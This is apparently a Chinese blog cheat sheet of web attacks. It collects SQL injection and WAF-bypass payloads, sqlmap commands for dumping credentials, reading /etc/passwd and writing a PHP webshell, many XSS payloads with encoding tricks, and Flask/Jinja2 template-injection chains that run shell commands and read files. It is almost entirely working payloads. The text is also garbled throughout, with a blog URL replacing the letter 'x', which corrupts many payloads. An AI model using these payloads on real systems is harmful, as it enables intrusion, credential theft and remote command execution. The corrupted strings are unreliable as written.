逻辑绕过例:过滤代码 union select user,password from users绕过方式 1 && (select user from users where userid=1)='admin'十六进制字符绕过select ——> selec\https://blog.csdn.net/yjprolus/article/details/x74union——>unio\https://blog.csdn.net/yjprolus/article/details/x6e大小写绕过SelEct双写绕过selselectectuniuniononurlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode编码绕过关键字内联绕所有

过滤空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 ()绕过空格注释符绕过//--%20#--+-- -;%00;空白字符绕过SQLite3 ——     0A,0D,0c,09,20MYSQL09,0A,0B,0B,0D,A0,20PosgressSQL0A,0D,0C,09,20Oracle_11g00,0A,0D,0C,09,20MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20特殊符号绕过` + !等科学计数法绕过例:select user,password from users where user_id0e1union select 1,2unicode编码%u0020 %uff00%c0%20 %c0%a0 %e0%80%a0

过滤=

?id=1' or 1 like 1#可以绕过对 = > 等过滤or '1' IN ('1234')#可以替代=

过滤比较符<>

select*fromuserswhereid=1and ascii(substr(database(),0,1))>64select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

过滤where

逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1绕过方式 1 && substr(user,1,1) = 'a'

过滤’(单引号)

逻辑绕过waf = 'and|or|union|where|limit|group by|select|\''过滤代码 1 && substr(user,1,1) = 'a'绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0https://blog.csdn.net/yjprolus/article/details/x611 && substr(user,1,1) = unhehttps://blog.csdn.net/yjprolus/article/details/x(61)宽字节绕过%bf%27 %df%27 %aa%27

过滤逗号

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:selectsubstr(database(0from1for1);selectmid(database(0from1for1);对于limit可以使用offset来绕过:select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0

过滤hehttps://blog.csdn.net/yjprolus/article/details/x

逻辑绕过过滤代码 1 && substr(user,1,1) = unhehttps://blog.csdn.net/yjprolus/article/details/x(61)绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))绕过方式 1 && lpad(user(),1,1) in 'r'

编码绕过

利用urlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode等编码绕过

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(ehttps://blog.csdn.net/yjprolus/article/details/xtractvalue(0https://blog.csdn.net/yjprolus/article/details/x3C613E61646D696E3C2F613E,0https://blog.csdn.net/yjprolus/article/details/x2f61))双重编码绕过?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

等价函数或变量

hehttps://blog.csdn.net/yjprolus/article/details/x()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()mid()、substr() ==> substring()@@user ==> user()@@datadir ==> datadir()举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 或者:substr((select 'password'),1,1) = 0https://blog.csdn.net/yjprolus/article/details/x70strcmp(left('password',1), 0https://blog.csdn.net/yjprolus/article/details/x69) = 1strcmp(left('password',1), 0https://blog.csdn.net/yjprolus/article/details/x70) = 0strcmp(left('password',1), 0https://blog.csdn.net/yjprolus/article/details/x71) = -1

生僻函数

MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@https://blog.csdn.net/yjprolus/article/details/x/’,’class="lazy" data-src=//evil.com’);          ?id=1 and 1=(updatehttps://blog.csdn.net/yjprolus/article/details/xml(1,concat(0https://blog.csdn.net/yjprolus/article/details/x3a,(select user())),1))SELECT https://blog.csdn.net/yjprolus/article/details/xmlelement(name img,https://blog.csdn.net/yjprolus/article/details/xmlattributes(1as class="lazy" data-src,'a\l\https://blog.csdn.net/yjprolus/article/details/x65rt(1)'as \117n\https://blog.csdn.net/yjprolus/article/details/x65rror)); //postgresql?id=1 and ehttps://blog.csdn.net/yjprolus/article/details/xtractvalue(1, concat(0https://blog.csdn.net/yjprolus/article/details/x5c, (select table_name from information_schema.tables limit 1)));and 1=(updatehttps://blog.csdn.net/yjprolus/article/details/xml(1,concat(0https://blog.csdn.net/yjprolus/article/details/x5c,(select user()),0https://blog.csdn.net/yjprolus/article/details/x5c),1))and ehttps://blog.csdn.net/yjprolus/article/details/xtractvalue(1, concat(0https://blog.csdn.net/yjprolus/article/details/x5c, (select user()),0https://blog.csdn.net/yjprolus/article/details/x5c))

\N绕过

\N相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

PCRE绕过

PHP 的 pcre.backtrack_limit 限制利用unionselect

上面的还不行?尝试修改语句逻辑再绕过

sqlmap

基本步骤

检测是否有注入点

  • sqlmap -u “http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com/1.php?id=1”

获取所有数据库名

  • sqlmap -u “http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com/1.php?id=1” --dbs

获取数据表

  • sqlmap -u “http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com/1.php?id=1” -D yj–tables

获取列名

  • sqlmap -u “http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com/1.php?id=1” -D yj -T users --columns

获取数据

  • sqlmap -u “http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com/1.php?id=1” -D yj -T users -C id,username,password --dump

常用参数

-r

  • 读取文件,提交数据包
  • 用*进行标记

-m

  • 批量注入

–cookie

–user-agent

–current-db

–current-user

–users

  • 获取当前数据库的登陆用户

–passwords

  • 获取当前数据库的用户密码

-v

0:只显示python错误以及重要信息
1:显示信息以及警告(默认)
2:显示debug消息
3:显示注入payload
4:显示http请求
5:显示http响应头·
6:显示http响应内容

–level

–delay

–time-sec

读写文件

原理

    • load_file

      • 关键条件

        • 有读权限

          • secure_file_priv
          • SELinuhttps://blog.csdn.net/yjprolus/article/details/x
        • 知道绝对路径

      • 用法

        • id=1’ union select 1,2,load_file(‘/etc/passwd’)
        • id=1’ union select 1,2,load_file(0https://blog.csdn.net/yjprolus/article/details/x0000000)
        • id=1’ union select 1,2,load_file(char(10,20))
        • id=1’ union select 1,2,hehttps://blog.csdn.net/yjprolus/article/details/x(load_file(char(10,20)))
    • into outfile

      • 关键条件

        • 有写权限

          • secure_file_priv
          • SELinuhttps://blog.csdn.net/yjprolus/article/details/x
        • 知道绝对路径

        • 绕过单引号的过滤

      • 用法

        • id=1’ union select 1,2,‘’ into outfile ‘/var/www/html/shell.php’
        • id=1’ union select 1,2,0https://blog.csdn.net/yjprolus/article/details/x00000000 into outfile ‘/var/www/html/shell.php’

参数

    • –file-read
    • –file-write
    • –file-dest

进阶参数

  • –os-shell

    • 原理

      • 利用写文件,先写入一个简单的上传页面,再利用上传页面,上传一个webshell执行命令,从webshell页面获取命令回显
  • –os-cmd

waf

原理

  • 身份认证

    • 白名单
    • 黑名单
  • 数据包解析

  • 规则匹配

绕waf的方式

  • 身份认证层面

    • 伪造白名单
  • 数据包解析层面

    • 数据包加密

      • 冰蝎
      • 自加密
  • 规则匹配层面

    • 利用数据库、中间件、编程语言的种种特性进行绕过

绕waf基础方式

  • 大小写

    • uNioN SeLect
  • 替代

    • UNunionION SELselectECT
  • 特殊字符

    • 代替空格的特殊字符

      • %0a
      • %0c
    • 括号

    • 花括号

  • 编码

    • url编码
    • unicode编码
  • 注释符号

    • 普通注释
    • 内联注释
  • 综合方式

    • 大小写
    • 特殊字符
    • 编码
    • 注释符号
  • 参数污染

  • 缓冲区溢出

  • 分块传输

  • 正则绕过:\bselect\b -> /! 50000select/

  • 遗漏的注入点

Tamper

  • 常用的tamper脚本

  • 用法

    • sqlmap -u “http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com/indehttps://blog.csdn.net/yjprolus/article/details/x.php?id=1” --tamper space2comment.py
  • 进阶:自己编写tamper脚本

其他

注意站库分离

base64注入

二次解码注入

插入admin’or’1

宽字节注入

OOB

dns外带注入

SQL注入工具:jsql-injection/

总结文章

XSS

导图

常用的XSS攻击手段和目的

盗用cookie,获取敏感信息。
2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
4.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。

分类

反射型

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

存储型

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

DOM型

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

无任何过滤情况下

<scirpt>alert("https://blog.csdn.net/yjprolus/article/details/xss");</script>

<img class="lazy" data-src=1 onerror=alert("https://blog.csdn.net/yjprolus/article/details/xss");>

<input onfocus="alert('https://blog.csdn.net/yjprolus/article/details/xss');">// 竞争焦点,从而触发onblur事件<input onblur=alert("https://blog.csdn.net/yjprolus/article/details/xss") autofocus><input autofocus>// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发<input onfocus="alert('https://blog.csdn.net/yjprolus/article/details/xss');" autofocus>

<details ontoggle="alert('https://blog.csdn.net/yjprolus/article/details/xss');">// 使用open属性触发ontoggle事件,无需用户去触发<details open ontoggle="alert('https://blog.csdn.net/yjprolus/article/details/xss');">

<svg onload=alert("https://blog.csdn.net/yjprolus/article/details/xss");>

<keygen autofocus onfocus=alert(1)> //仅限火狐

<marquee onstart=alert("https://blog.csdn.net/yjprolus/article/details/xss")></marquee> //Chrome不行,火狐和IE都可以

<isindehttps://blog.csdn.net/yjprolus/article/details/x type=image class="lazy" data-src=1 onerror=alert("https://blog.csdn.net/yjprolus/article/details/xss")>//仅限于IE

利用link远程包含js文件(在无CSP的情况下)

<link rel=import href="http://127.0.0.1/1.js">

javascript伪协议

标签

<a href="javascript:alert(`https://blog.csdn.net/yjprolus/article/details/xss`);">https://blog.csdn.net/yjprolus/article/details/xss</a>
标签 ```javascript ```

标签

<img class="lazy" data-src=javascript:alert('https://blog.csdn.net/yjprolus/article/details/xss')> //IE7以下

标签

<form action="Javascript:alert(1)"><input type=submit>

其它

ehttps://blog.csdn.net/yjprolus/article/details/xpression属性
<img style="https://blog.csdn.net/yjprolus/article/details/xss:ehttps://blog.csdn.net/yjprolus/article/details/xpression(alert('https://blog.csdn.net/yjprolus/article/details/xss''))"> // IE7以下<div style="color:rgb(''�https://blog.csdn.net/yjprolus/article/details/x:ehttps://blog.csdn.net/yjprolus/article/details/xpression(alert(1))"></div> //IE7以下<style>#test{https://blog.csdn.net/yjprolus/article/details/x:ehttps://blog.csdn.net/yjprolus/article/details/xpression(alert(/XSS/))}</style> // IE7以下
background属性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

有过滤的情况下

过滤空格

/代替空格

<img/class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x"/onerror=alert("https://blog.csdn.net/yjprolus/article/details/xss");>

过滤关键字

大小写绕过

<ImG class="lazy" data-src=https://blog.csdn.net/yjprolus/article/details/x onerRor=alert("https://blog.csdn.net/yjprolus/article/details/xss");>

双写关键字

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<imimgg srclass="lazy" data-srcc=https://blog.csdn.net/yjprolus/article/details/x onerror=alert("https://blog.csdn.net/yjprolus/article/details/xss");>

字符拼接

利用eval

<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror="a=`aler`;b=`t`;c='(`https://blog.csdn.net/yjprolus/article/details/xss`);';eval(a+b+c)">

利用top

<script>top["al"+"ert"](`https://blog.csdn.net/yjprolus/article/details/xss`);</script>

其它字符混淆

有的waf可能是用正则表达式去检测是否有https://blog.csdn.net/yjprolus/article/details/xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了。下面举几个简单的例子:

可利用注释、标签的优先级等1.<2.<img class="lazy" data-src=https://blog.csdn.net/yjprolus/article/details/> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效3.

编码绕过

Unicode编码绕过

<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror="alert("xss");"><img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过

<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><iframe class="lazy" data-src="data:tehttps://blog.csdn.net/yjprolus/article/details/xt/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ascii码绕过

<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hehttps://blog.csdn.net/yjprolus/article/details/x绕过

<img class="lazy" data-src=https://blog.csdn.net/yjprolus/article/details/x onerror=eval('\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x6c\https://blog.csdn.net/yjprolus/article/details/x65\https://blog.csdn.net/yjprolus/article/details/x72\https://blog.csdn.net/yjprolus/article/details/x74\https://blog.csdn.net/yjprolus/article/details/x28\https://blog.csdn.net/yjprolus/article/details/x27\https://blog.csdn.net/yjprolus/article/details/x78\https://blog.csdn.net/yjprolus/article/details/x73\https://blog.csdn.net/yjprolus/article/details/x73\https://blog.csdn.net/yjprolus/article/details/x27\https://blog.csdn.net/yjprolus/article/details/x29')>

八进制

<img class="lazy" data-src=https://blog.csdn.net/yjprolus/article/details/x onerror=alert('\170\163\163')>

base64绕过

<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"><iframe class="lazy" data-src="data:tehttps://blog.csdn.net/yjprolus/article/details/xt/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号

  1. 如果是HTML标签中,我们可以不用引号。如果是在JavaScript中,我们可以用反引号代替单双引号
<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror=alert(`https://blog.csdn.net/yjprolus/article/details/xss`);>
  1. 使用编码绕过,具体看上面我列举的例子,我就不多赘述了

过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.οnerrοr=eval;throw'=alert\https://blog.csdn.net/yjprolus/article/details/x281\https://blog.csdn.net/yjprolus/article/details/x29';">

过滤url地址

使用url编码

<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

使用IP

  1. 十进制IP
<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`http://2130706433/`>
  1. 八进制IP
<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`http://0177.0.0.01/`>
  1. hehttps://blog.csdn.net/yjprolus/article/details/x
<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`http://0https://blog.csdn.net/yjprolus/article/details/x7f.0https://blog.csdn.net/yjprolus/article/details/x0.0https://blog.csdn.net/yjprolus/article/details/x0.0https://blog.csdn.net/yjprolus/article/details/x1/`>
  1. html标签中用//可以代替http://
<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`//www.baidu.com`>
  1. 使用\\

在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linuhttps://blog.csdn.net/yjprolus/article/details/x下才会是当前域的协议

  1. 使用中文逗号代替英文逗号:如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img class="lazy" data-src="https://blog.csdn.net/yjprolus/article/details/x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

SSTI

模板和对应利用方法

基础

__class__            类的一个内置属性,表示实例对象的类。__base__             类型对象的直接基类__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases____mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.__init__             初始化类,返回的类型是function__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x/a.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}current_app          应用上下文,一个全局变量。request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()request.args.https://blog.csdn.net/yjprolus/article/details/x1    get传参request.values.https://blog.csdn.net/yjprolus/article/details/x1  所有参数request.cookies      cookies参数request.headers      请求头参数request.form.https://blog.csdn.net/yjprolus/article/details/x1    post传参(Content-Type:applicaation/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded或multipart/form-data)request.data   post传参(Content-Type:a/b)request.json post传json  (Content-Type: application/json)config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}g                    {{g}}得到dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default

利用和绕过

正常无过滤

使用popen方法:?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}

过滤了.

使用访问字典的形式来获取函数或者类

{{().__class__}}{{()["__class__"]}}{{()|attr("__class__")}}{{getattr('',"__class__")}}{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

过滤_

利用request.args.绕:/?ehttps://blog.csdn.net/yjprolus/article/details/xploit={{request[request.args.pa]}}&pa=**class**

过滤’request[request.’

绕过原理:request | attr(request.args.a)等价于request["a"]?ehttps://blog.csdn.net/yjprolus/article/details/xploit={{request|attr(request.args.pa)}}&pa=**class**

过滤了单双引号(request绕过)

flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过

request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}post:arg1=open&arg2=/etc/passwd{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}Cookie:arg1=open;arg2=/etc/passwd

过滤关键字

常规拼接

""["__cla""ss__"]"".__getattribute__("__cla""ss__")反转""["__ssalc__"][::-1]"".__getattribute__("__ssalc__"[::-1]){{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}

+拼接

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.thttps://blog.csdn.net/yjprolus/article/details/xt').read()相当于().__class__.__bases__[0].__subclasses__()[40]('r','flag.thttps://blog.csdn.net/yjprolus/article/details/xt').read()

[::-1]取反绕过

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('thttps://blog.csdn.net/yjprolus/article/details/xt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

用join拼接

{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}

使用str原生函数替代

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

ascii转换

"{0:c}".format(97)='a'"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

16进制编码

"__class__"=="\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fclass\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f"=="\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x63\https://blog.csdn.net/yjprolus/article/details/x6c\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x73\https://blog.csdn.net/yjprolus/article/details/x73\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f"对于python2的话,还可以利用base64进行绕过"__class__"==("X19jbGFzc19f").decode("base64")

unicode编码

{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}lipsum.__globals__['os'].popen('tac /f*').read()

base64编码

().__class__.__bases__[0].__subclasses__()[40]('r','Zmhttps://blog.csdn.net/yjprolus/article/details/xhZy50eHQ='.decode('base64')).read()相当于:().__class__.__bases__[0].__subclasses__()[40]('r','flag.thttps://blog.csdn.net/yjprolus/article/details/xt').read()

利用chr函数

无法直接使用chr函数,需要通过__builtins__定位

{% set chr=url_for.__globals__['__builtins__'].chr %}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

在jinja2可以使用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

过滤__init__可以用__enter____ehttps://blog.csdn.net/yjprolus/article/details/xit__替代

{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}{{().__class__.__bases__[0].__subclasses__()[213].__ehttps://blog.csdn.net/yjprolus/article/details/xit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

过滤config的绕过

{{self}} ⇒ {{self.__dict__._TemplateReference__contehttps://blog.csdn.net/yjprolus/article/details/xt}}

reload方法

del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statementdel __builtins__.__dict__['eval'] # evaluating code could be dangerousdel __builtins__.__dict__['ehttps://blog.csdn.net/yjprolus/article/details/xecfile'] # likewise for ehttps://blog.csdn.net/yjprolus/article/details/xecuting the contents of a filedel __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

过滤了[ ]

数字中的[ ]

Python 3.7.8>>> ["a","kawhi","c"][1]'kawhi'>>> ["a","kawhi","c"].pop(1)'kawhi'>>> ["a","kawhi","c"].__getitem__(1)'kawhi'{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} {{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}

魔术方法中的[ ]

调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号

__getattribute__
{{"".__getattribute__("__cla"+"ss__").__base__}}
配合request
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami

过滤了{{ }}

使用{%%},并用print进行标记,得到回显

DNS外带 // TODO

过滤了 " ’ arg []

使用pop()或者__getitem__绕过

?name={{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')

过滤了 " ’ arg [] _

不能使用request.values.name,所以使用request.cookies.name,然后使用flask自带的attr' '|attr('__class__')等于 ' '.__class__lipsum是一个方法,其调用__globals__可以直接使用os执行命令

{{lipsum.__globals__['os'].popen('whoami').read()}}{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}Cookie: a=__globals__;b=cat /f*

过滤了 " ’ arg [] _ os

使用request.cookies.a绕过

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}Cookie: a=__globals__;b=os;c=cat /f*

过滤了 " ’ arg [] _ os {{ }}

使用{%,因为{%%}是没有回显的,所以使用print来标记使他有回显

?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}Cookie: a=__globals__;b=os;c=cat /f*

过滤了 " ’ arg [] _ os {{ }} request

拼接字符串

